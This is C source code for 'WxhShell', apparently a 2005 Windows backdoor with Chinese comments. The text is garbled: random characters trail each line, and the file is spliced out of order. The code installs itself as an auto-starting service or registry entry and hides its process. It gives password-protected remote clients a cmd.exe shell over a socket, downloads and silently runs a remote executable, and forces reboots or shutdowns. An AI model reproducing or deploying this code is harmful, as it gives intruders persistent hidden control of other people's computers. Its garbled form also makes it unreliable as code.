    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -P|claO0  
    if(Boot(SHUTDOWN)) W^xO/xu1 /  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}~w9jK"F  
    else { [ 't.x=  
    closesocket(wsh); ::#[lw  
    ExitThread(0); N\Lu+ x5  
    } PX/{!_mM  
    break; Z'2AsT  
    } $57Q g1v  
  // 获取shell -ZSN0Xk  
  case 's': { /FC HF#yK  
    CmdShell(wsh); S2E z}*plp  
    closesocket(wsh); ,.V<rDwN&  
    ExitThread(0); ]dJ"_  
    break; ~&RrlFh  
  } ?<W|Ya  
  // 退出 !vJ$$o6#  
  case 'x': { <bo)p6S&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `o }+2Cb  
    CloseIt(wsh); PMbZv%.,-  
    break; oOvQA W8`  
    } eIF6f& F  
  // 离开 >lQa"F=  
  case 'q': { D]*|Zmr+}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5VOw}{Pt  
    closesocket(wsh); : -#w  
    WSACleanup(); uF}dEDB|;  
    exit(1); S ;rd0+J  
    break; ! M CV@5$  
        } uo2k  
  } Il*!iX|23<  
  } *U$]U0M  
9D M,,h<`  
  // 提示信息 m> P\}A^N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9{Etv w  
} RC1bTM  
  } u<fZ.1  
> K,QP<B  
  return; ^W:a7cMw  
} : Bo  
xxl|j$m  
// shell模块句柄 e/:?9  
int CmdShell(SOCKET sock) L8h!%56s  
{ )~R[aXkvY  
STARTUPINFO si; Cx/J_Ro#  
ZeroMemory(&si,sizeof(si)); R?:Q=7K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c;X,-Q9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (2> q  
PROCESS_INFORMATION ProcessInfo; vWESu4W`L  
char cmdline[]="cmd"; ~!PWJ~U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &uO-h  
  return 0; B?-w<":!  
} UxHI6,b  
e<9 ^h)G  
// 自身启动模式  I2i'  
int StartFromService(void) 7* Y*_cH5  
{ &Lt$~}*&6  
typedef struct |36%B7H  
{ Bx5xtJ|!  
  DWORD ExitStatus; |J:r]);@K  
  DWORD PebBaseAddress; #CI0G  
  DWORD AffinityMask; \rxjvV4fcZ  
  DWORD BasePriority; z{w %pUn}  
  ULONG UniqueProcessId; G]k[A=dg  
  ULONG InheritedFromUniqueProcessId; +CdUr~6  
}   PROCESS_BASIC_INFORMATION; 25vjn 1$sW  
(T pnJq  
PROCNTQSIP NtQueryInformationProcess; w8Z#]kRv  
`3VI9GmQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8M,o)oH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q0jg(=9wP  
]nRf%Vi8g  
  HANDLE             hProcess; 57;0,k5Gy  
  PROCESS_BASIC_INFORMATION pbi; 5,^DT15a4P  
G,?a8(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8r+u!$i!H  
  if(NULL == hInst ) return 0; !x R9I0V5  
ibQ xL3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j[dZ*Jr_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F::Ki4{jJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rL"]m_FK  
2%R.~9HtA  
  if (!NtQueryInformationProcess) return 0; +<p&V a#  
6AY( /N8V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L7(FD v,?  
  if(!hProcess) return 0; e/+.^ '{  
GU/P%c/V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q\i&E Rr  
1I69O6"  
  CloseHandle(hProcess); Ty{ SZU J  
fm^`   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qu'#~#L`  
if(hProcess==NULL) return 0; H#YI7l2  
/"A=Yf  
HMODULE hMod; ai?J  
char procName[255]; 2Ul8<${c{  
unsigned long cbNeeded; EHf,VIC8  
V~/@KU8cH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '9.@r\g  
M"s:*c_6  
  CloseHandle(hProcess); !^MwE]  
ue7D' UZL>  
if(strstr(procName,"services")) return 1; // 以服务启动 \Q}Y"oq  
(#>X*~6  
  return 0; // 注册表启动 Fyw X  
} u5rvrn ]  
ZaY|v-  
// 主模块 <h#W*a  
int StartWxhshell(LPSTR lpCmdLine) )ej1)RU"  
{  Hk4k  
  SOCKET wsl; |H^v8^%>zm  
BOOL val=TRUE; nxuH22:  
  int port=0; Gq[5H(0/c  
  struct sockaddr_in door; T`]%$$1s  
_qf~ hhi  
  if(wscfg.ws_autoins) Install(); `0U\|I#  
WO%pX+PoH  
port=atoi(lpCmdLine); d\3 %5Y  
"pK<d~Wu  
if(port<=0) port=wscfg.ws_port; 2Uf/'  
G/3T0d+-  
  WSADATA data; /]J\/Z>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9@"pR;X@  
;Q vQ fV4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q#8\BOTP |  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SOsz=bVx  
  door.sin_family = AF_INET; (m! kg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uc"%uc'  
  door.sin_port = htons(port); q~aj" GD  
}L|B@fW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G+2fmVB*X  
closesocket(wsl); > fV "bj.  
return 1; 7O|`\&RY R  
} F%lC%~-qh  
^vSSG5  :  
  if(listen(wsl,2) == INVALID_SOCKET) { pV8tn!  
closesocket(wsl); 5K?/-0yG  
return 1; IOxtuR  
} alzdYiGf  
  Wxhshell(wsl); H-e$~vEbP  
  WSACleanup(); t%^&b'/Z  
K^"l.V#J  
return 0; ( 6zu*H)  
kFkI[WKyZ  
} havmhS)O  
G{X7;j e  
// 以NT服务方式启动 C]JK'K<7-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zz:%KUl3  
{ FhBV.,bU,m  
DWORD   status = 0; y?r`[{L(lA  
  DWORD   specificError = 0xfffffff; [8Z#HjhQ  
;m.6 ~A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eTgtt-;VR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ug0c0z!b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,{(XT7hr  
  serviceStatus.dwWin32ExitCode     = 0; {*8G<&  
  serviceStatus.dwServiceSpecificExitCode = 0; =6\^F i  
  serviceStatus.dwCheckPoint       = 0; rZB='(?  
  serviceStatus.dwWaitHint       = 0; x.pg3mVd>  
*a|575e< z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); se>\5k  
  if (hServiceStatusHandle==0) return; pd,d"+  
/TB{|_HbW  
status = GetLastError(); ^A\(M%*F  
  if (status!=NO_ERROR) M(\{U"%@?  
{ |XQ_4{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s}UJv\*  
    serviceStatus.dwCheckPoint       = 0; QAo/d4  
    serviceStatus.dwWaitHint       = 0; u~ FVI  
    serviceStatus.dwWin32ExitCode     = status; Oop6o $k  
    serviceStatus.dwServiceSpecificExitCode = specificError; wmR~e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^@=4HtA  
    return; lqrI*@>Tz  
  }  yoe@]c=  
=5^1Bl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2-UD^;0  
  serviceStatus.dwCheckPoint       = 0; $g VbeQ  
  serviceStatus.dwWaitHint       = 0; =tA;JB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H ~fF; I  
} qG~6YCqii  
`?l /HUw  
// 处理NT服务事件,比如:启动、停止 yXEI%2~)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <f.Eog  
{ .dxELSV  
switch(fdwControl) {gu3KV  
{ |}YxxeAk  
case SERVICE_CONTROL_STOP: G9j f]Ye;  
  serviceStatus.dwWin32ExitCode = 0; )'7Qd(4WT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?A.ah  
  serviceStatus.dwCheckPoint   = 0; "8?Fl&=Q  
  serviceStatus.dwWaitHint     = 0; Dz2Z (EXI~  
  { }Cfl|t<5f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |-*50j l  
  } Us# /#-hJ  
  return; @\oZ2sB  
case SERVICE_CONTROL_PAUSE: E|RC|Sz=u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "+&pd!\  
  break; up8d3  
case SERVICE_CONTROL_CONTINUE: >e.KD) qA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X6t9*|C  
  break; e_!Z-#\J%  
case SERVICE_CONTROL_INTERROGATE: KMqGWO*  
  break; !vK0|eV3  
}; >6WZSw/Hq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?D9iCP~~  
} hG<[F@d  
&KI|qtQ;  
// 标准应用程序主函数 k}}'f A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CsT&}-C  
{ 8sI$  
XMP4YWuVc  
// 获取操作系统版本 #^aa&*<D_  
OsIsNt=GetOsVer(); sc# EL~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !z2xm3s{]p  
.tHc*Eh  
  // 从命令行安装 7cB{Iq0+  
  if(strpbrk(lpCmdLine,"iI")) Install(); E vY^]M_U  
0SIUp/.  
  // 下载执行文件 {<}Hut:a  
if(wscfg.ws_downexe) { \WdSj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x\:KfYr4Y;  
  WinExec(wscfg.ws_filenam,SW_HIDE); br k*;  
} +`mI\+y,  
<rui\/4NJ  
if(!OsIsNt) { :w|=o9J  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sj/v:  
HideProc(); #k>A,  
StartWxhshell(lpCmdLine); :mLXB75gH  
} MwQt/Qv=  
else fiU#\%uJg  
  if(StartFromService()) *D[yA  
  // 以服务方式启动 %`lJAW[  
  StartServiceCtrlDispatcher(DispatchTable); b"trg {e  
else *6=9 8C4I  
  // 普通方式启动 )xz_ }6b]  
  StartWxhshell(lpCmdLine); eFA,xzp  
yQ<h>J>  
return 0; B *6 ncj  
} p_JWklg^  
gk5Gf l  
mZ:#d;0  
C v*K.T  
=========================================== ^Ojg}'.Ygv  
`pDTjJ  
+`V<& Y-5l  
B` +, 8  
6 A#xFPYY{  
suLC7x`Z  
" FQ47j)p;  
K:AP 0Te  
#include <stdio.h> BOy&3.h5?  
#include <string.h> ;qWSfCt/^  
#include <windows.h> "VoufXM:  
#include <winsock2.h> ;g2UIb?{6  
#include <winsvc.h> +7_U( |gO  
#include <urlmon.h> ]Z85%q^`  
B~& }Mv  
#pragma comment (lib, "Ws2_32.lib") *|C vK&7  
#pragma comment (lib, "urlmon.lib") -rgdKA@)(  
yUxz,36wZ  
#define MAX_USER   100 // 最大客户端连接数 II~91IEk  
#define BUF_SOCK   200 // sock buffer : vgn0 IQ  
#define KEY_BUFF   255 // 输入 buffer aiE\r/k8s  
<X& fs*x&  
#define REBOOT     0   // 重启 vMJ(Ll7/  
#define SHUTDOWN   1   // 关机 GM)q\Hx{  
5U]@ Y?  
#define DEF_PORT   5000 // 监听端口 6zNWDUf  
U:c 0s  
#define REG_LEN     16   // 注册表键长度 `/!FZh<  
#define SVC_LEN     80   // NT服务名长度 7d|1T'  
)z4eRs F|  
// 从dll定义API utC^wA5U~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7 &%#bMnw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f:~$x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }?+tX<j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \M0's&1(  
7(^F@,,@  
// wxhshell配置信息 15aPoxo>  
struct WSCFG { Bx$?*y&f!v  
  int ws_port;         // 监听端口 +$2`"%nBG  
  char ws_passstr[REG_LEN]; // 口令 m9&%A0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ocUBSK|K)  
  char ws_regname[REG_LEN]; // 注册表键名 D~M R)z_p~  
  char ws_svcname[REG_LEN]; // 服务名 T:|p[Xbo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KQw>6)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S0r+Y0J]<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [*0M$4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zt=P 0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y+{)4ptg$<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )ZrB-(u~k  
zM<L_l&  
}; +qT+iHa|n  
8$ #z>  
// default Wxhshell configuration m!P<# |V  
struct WSCFG wscfg={DEF_PORT, @'?gan#(  
    "xuhuanlingzhe", 5a)$:oO!  
    1, se=^K#o  
    "Wxhshell", :h3n[%  
    "Wxhshell", dZb;`DjTH  
            "WxhShell Service", ({!H ()  
    "Wrsky Windows CmdShell Service", j?k|-0  
    "Please Input Your Password: ", 87eH~&<1  
  1, h/8p2Mrqi  
  "http://www.wrsky.com/wxhshell.exe", Ip)u6We>I  
  "Wxhshell.exe" *n[B Bz  
    }; &%qDi_UD  
"5sA&^_#_  
// 消息定义模块 T.-tV[2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zn_#}}e;G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; suGd&eP|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %^nNt:N0  
char *msg_ws_ext="\n\rExit."; n4}e!  
char *msg_ws_end="\n\rQuit."; s@y;b0$gk  
char *msg_ws_boot="\n\rReboot..."; t+]1D@hv  
char *msg_ws_poff="\n\rShutdown..."; H=g%>W%3  
char *msg_ws_down="\n\rSave to "; `<| <1,  
B I3fk  
char *msg_ws_err="\n\rErr!"; /{R.   
char *msg_ws_ok="\n\rOK!"; i1m>|[@k  
^3H:I8gRCl  
char ExeFile[MAX_PATH]; |JHNFs  
int nUser = 0; ,Oy$q~.  
HANDLE handles[MAX_USER]; EBz4k)@m  
int OsIsNt; Z2H bAI8  
$N;J)  
SERVICE_STATUS       serviceStatus; d%epM5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cs9h\]ZA  
s8P3H|0.-  
// 函数声明 hlze]d?z  
int Install(void); e#mqerpJ  
int Uninstall(void); 2k^rZ^^"  
int DownloadFile(char *sURL, SOCKET wsh); }Q]-Y :  
int Boot(int flag); @pYC!;n+  
void HideProc(void); la!U  
int GetOsVer(void); -"i $^Q`  
int Wxhshell(SOCKET wsl); T]zD+/=  
void TalkWithClient(void *cs); Y Q.Xl_  
int CmdShell(SOCKET sock); lz36;Fp  
int StartFromService(void); 8~s0%%{,M  
int StartWxhshell(LPSTR lpCmdLine); d,Oagx  
\@N~{72:k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g7*Uuh#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A*81}P_  
~1twGG_;  
// 数据结构和表定义 }HmkTk  
SERVICE_TABLE_ENTRY DispatchTable[] = P3Lsfi.  
{ CV\y60n  
{wscfg.ws_svcname, NTServiceMain}, o|c6=77043  
{NULL, NULL} vf+z0df  
}; Hs:zfvD  
[[6" qq  
// 自我安装 A|:+c*7]  
int Install(void) RjPkH$u'Pj  
{ o9]32l  
  char svExeFile[MAX_PATH]; rBi<Yy$z  
  HKEY key; vR2);ywX  
  strcpy(svExeFile,ExeFile); S<cz2FlV  
0j6b5<Gpc*  
// 如果是win9x系统,修改注册表设为自启动 L%Rw]=v}v  
if(!OsIsNt) { eB1NM<V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |uw48*t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v {uq  
  RegCloseKey(key); 2 rf8)8':  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xE^G*<mj:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vcp{Gf|^  
  RegCloseKey(key); *i:8g(  
  return 0; l>pB\<LL  
    } xRhGBb{@s  
  } oq!\100  
} KB :JVK^<  
else { fDplYn#  
. _|=Btoo  
// 如果是NT以上系统,安装为系统服务 FA)ot)]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Ui_Trlc  
if (schSCManager!=0) ecJjE 56P  
{ X1a~l|$h  
  SC_HANDLE schService = CreateService CrL9|78  
  ( ]BbV\#  
  schSCManager, `Ds=a`^b  
  wscfg.ws_svcname, CLVT5pj='  
  wscfg.ws_svcdisp, _|0#  
  SERVICE_ALL_ACCESS, &dmIv[LU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :.]EM*p?GV  
  SERVICE_AUTO_START, b+J|yM<`  
  SERVICE_ERROR_NORMAL, z _\L@b  
  svExeFile, R+(f~ j'  
  NULL, ?hc=w2Ci  
  NULL, vfv?QjR  
  NULL, ~/-SKGzo-  
  NULL, ;nW;M 4{  
  NULL ('C)S)98C  
  ); ecz-jZ! `  
  if (schService!=0) Y,Z$U| U  
  { stUv!   
  CloseServiceHandle(schService); xW5`.^5  
  CloseServiceHandle(schSCManager); [m h>N$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `^hA&/1  
  strcat(svExeFile,wscfg.ws_svcname); :.XlAQR~b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  ~,&8)1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o4EY2  
  RegCloseKey(key); S|k@D2k=  
  return 0; 5 0-7L,  
    } tugIOA  
  } -bOtF%  
  CloseServiceHandle(schSCManager); Cy6!?Mik  
} w`f66*@Q1  
} z[QDJMt>  
[#Gu?L_W  
return 1; V'W*'wo   
} ro<w8V9.a  
.`+~mQ Wn  
// 自我卸载 Sq_.RU  
int Uninstall(void) TsoxS/MI"  
{ c|9g=DjK  
  HKEY key; a]V8F&)g#  
<@ ts[p.  
if(!OsIsNt) { l:e C+[_;>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~zac.:a8  
  RegDeleteValue(key,wscfg.ws_regname); i*mU<:t  
  RegCloseKey(key); _[-MyUs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ),B/NZ/-  
  RegDeleteValue(key,wscfg.ws_regname); ^ [m-PS(  
  RegCloseKey(key); Ezew@*(  
  return 0; >"<s7$g  
  } w/( T  
} (n?f016*%d  
} _zM?"16I}  
else { KNQj U-A  
R0*P,~L;|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U9b[t  
if (schSCManager!=0) exiu;\+j  
{ SUMfebW5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {[Ri:^nHgL  
  if (schService!=0) T?!SEblP]  
  { "'Fvt-<^S7  
  if(DeleteService(schService)!=0) { IO8 @u;&  
  CloseServiceHandle(schService); ,~Xe#e M  
  CloseServiceHandle(schSCManager); |&WYu,QQ4  
  return 0; h'h8Mm  
  } H#hpaP;  
  CloseServiceHandle(schService); Hkia&nz'3  
  } UF5_be,D  
  CloseServiceHandle(schSCManager); 5p!{#r6m  
} NwYQ6VEA  
} DeF`#a0E  
Mpw]dYM  
return 1; WK*tXc_[b  
} Y1sK sdV  
i7h^L)M  
// 从指定url下载文件 sB *dv06b0  
int DownloadFile(char *sURL, SOCKET wsh) R-Lpgi<a"  
{ p7`9 d1n  
  HRESULT hr; >@bU8}rT  
char seps[]= "/"; +<xQF  
char *token; @"fv[=Xb  
char *file; JC~sz^>p\  
char myURL[MAX_PATH]; fmv:vs /9  
char myFILE[MAX_PATH]; }6%\/d1~ 6  
V*te8HIe  
strcpy(myURL,sURL); zsQkI@)sO  
  token=strtok(myURL,seps); r-EIoZ"P  
  while(token!=NULL) Y)]VlV!`  
  { C/N;4  
    file=token; [O_5`X9|  
  token=strtok(NULL,seps); wAi7jCY%OY  
  } (&Q!5{$W  
y,&[OrCm^\  
GetCurrentDirectory(MAX_PATH,myFILE); &4WA/'>R  
strcat(myFILE, "\\"); }15&<s  
strcat(myFILE, file); ~$4(|Fq/  
  send(wsh,myFILE,strlen(myFILE),0); UYZC% $5x  
send(wsh,"...",3,0); UIf#Gy|l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (NR( )2  
  if(hr==S_OK)  }E(w@&  
return 0; (_}q>3  
else B:v_5e\f@  
return 1; !F}GSDDV*  
?F[_5ls|]  
} h+H+>,N8`  
6%6dzZ  
// 系统电源模块 X!z-J>  
int Boot(int flag) ~1*37w~  
{ |*zgX]-+;  
  HANDLE hToken; HX| p4-L  
  TOKEN_PRIVILEGES tkp; R-ek O7z  
JiXE{(  
  if(OsIsNt) { P6>C+T1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qlPIxd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cL4Go,)w  
    tkp.PrivilegeCount = 1; S m=ln)G=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \^y~w~g?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AG vhSd7  
if(flag==REBOOT) { v:74iB$i/C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RLQ*&[A}  
  return 0; s1Wn.OGR4  
} 6 A]a@,PC  
else { 3*%+NQIj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RfvvX$  
  return 0; 5X];?(VTsb  
} Px?"5g#+  
  } 1nvT={'R  
  else { [Pp#r&4H  
if(flag==REBOOT) { *!`&+w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +[n#{;]<  
  return 0; v.:Q& ]  
} `/R. 5;$|  
else { z$m(@Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E,?IIRg&  
  return 0; zp f<!x^  
} Wy6a4oY  
} j&S.k  
yG~Vvpv  
return 1; X[<#B5  
} J#@+1 Nt  
e&ZTRgYdi  
// win9x进程隐藏模块 a[zVC)N0  
void HideProc(void) 525^/d6v  
{ N|)e {|k  
N&k\X]U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n'pJl  
  if ( hKernel != NULL ) ON!Fk:-  
  { @ kv~2m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0;`FS /[(f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %UooZO  
    FreeLibrary(hKernel); # 7d vT=  
  } wt@TR~a  
IR2Qc6+{  
return; @0H0!9'  
} @m`H~]AU  
V{>;Z vj1R  
// 获取操作系统版本 wS7Vo{#@\  
int GetOsVer(void) +Gy9K  
{ FR'Nzi$  
  OSVERSIONINFO winfo; L5d YTLY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P $ h) Y  
  GetVersionEx(&winfo); DTi^* Wj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vYLspZ;S  
  return 1; ?AxB0d9z  
  else 9'|k@i:  
  return 0; oGeV!hD  
} l&W:t9o  
,:-^O#  
// 客户端句柄模块 }>,%El/  
int Wxhshell(SOCKET wsl) VpbJe@*D  
{ 0%\fm W j  
  SOCKET wsh; Ik5-ooZ&{  
  struct sockaddr_in client; a.O"I3{?h  
  DWORD myID; (<OmYnm  
T51oNO%^  
  while(nUser<MAX_USER) I-J%yutB  
{ ?0z/i^I  
  int nSize=sizeof(client); M,{;xf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0$y HO2 f  
  if(wsh==INVALID_SOCKET) return 1; Ae^4  
=7:}/&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hlc g[Qdo*  
if(handles[nUser]==0) fyx Q{J  
  closesocket(wsh); NX;{L#lQ  
else BjjuZN&  
  nUser++; SZ4@GK  
  } ,@N.v?p>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); MD4m h2  
 ]5ibg"{S  
  return 0; T# tFzbr  
} /d }5R@Oy  
hOIg 7=v  
// 关闭 socket Rdd9JJsVd  
void CloseIt(SOCKET wsh) [%Dh0hOg  
{ Bz:Hp{7&  
closesocket(wsh); d|UH AX  
nUser--; ,gkWksl9  
ExitThread(0); b-c6.aKf|  
} h"2^` )!u  
JiA1yt  
// 客户端请求句柄 >: @\SU  
void TalkWithClient(void *cs) kY4h-oZ  
{ [P)](8nR[  
5*B'e{C  
  SOCKET wsh=(SOCKET)cs; ^ 6t"A  
  char pwd[SVC_LEN]; Cf<TDjU`|  
  char cmd[KEY_BUFF]; xw1,Wbu]  
char chr[1]; EW)r/Av:,  
int i,j; kAx J#RG  
4l/~::y  
  while (nUser < MAX_USER) { .Z17X_  
4h}\Kl  
if(wscfg.ws_passstr) { IL*MB;0>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J04R,B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \naG  
  //ZeroMemory(pwd,KEY_BUFF); 6,R<8a;Wn  
      i=0; >Ij# +=  
  while(i<SVC_LEN) { l,b_' m@  
t#]VR7]  
  // 设置超时 +$^ [ r  
  fd_set FdRead; [R~@#I P!  
  struct timeval TimeOut; M&/e*Ta5  
  FD_ZERO(&FdRead); hNp.%XnnZ  
  FD_SET(wsh,&FdRead); 3VQmo\li  
  TimeOut.tv_sec=8; oye/tEMG  
  TimeOut.tv_usec=0; d;r,?/C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z\)P|#L$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7:.!R^5H  
;:)u rI?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6H|T )  
  pwd=chr[0]; WCI'Kh   
  if(chr[0]==0xd || chr[0]==0xa) { PCKxo;bD  
  pwd=0; fjQIuM  
  break; % <%r  
  } ,fm{ krE  
  i++; TjctK [db@  
    } KZ [:o,jp>  
>4T7D My  
  // 如果是非法用户,关闭 socket MF::At[4   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k@9q5lu;T  
} 2+LvlS)C  
U4e9[=q`'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z-S8s2.Fd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `3UvKqe  
6SSrkj}U  
while(1) { ?Y$3R"p@3`  
/q`f3OV"  
  ZeroMemory(cmd,KEY_BUFF); DEzL]1;P  
fvDcE]_%H  
      // 自动支持客户端 telnet标准   BUsAEw M  
  j=0; baf@"P9@\A  
  while(j<KEY_BUFF) { V Z60   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6lxZo_  
  cmd[j]=chr[0]; dSzq}w4xY  
  if(chr[0]==0xa || chr[0]==0xd) { k0DX|O8mXV  
  cmd[j]=0; OadGwa\:s  
  break; d[ce3':z  
  } >PygUY d  
  j++; UWBR5  
    } ) .H nK  
K5d>{c  
  // 下载文件 j 2Jew  
  if(strstr(cmd,"http://")) { o6:p2W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `+WQ^dP@  
  if(DownloadFile(cmd,wsh)) 'KNUPi|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PF;`mdi-,  
  else !=+hU/e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YW-Ge  
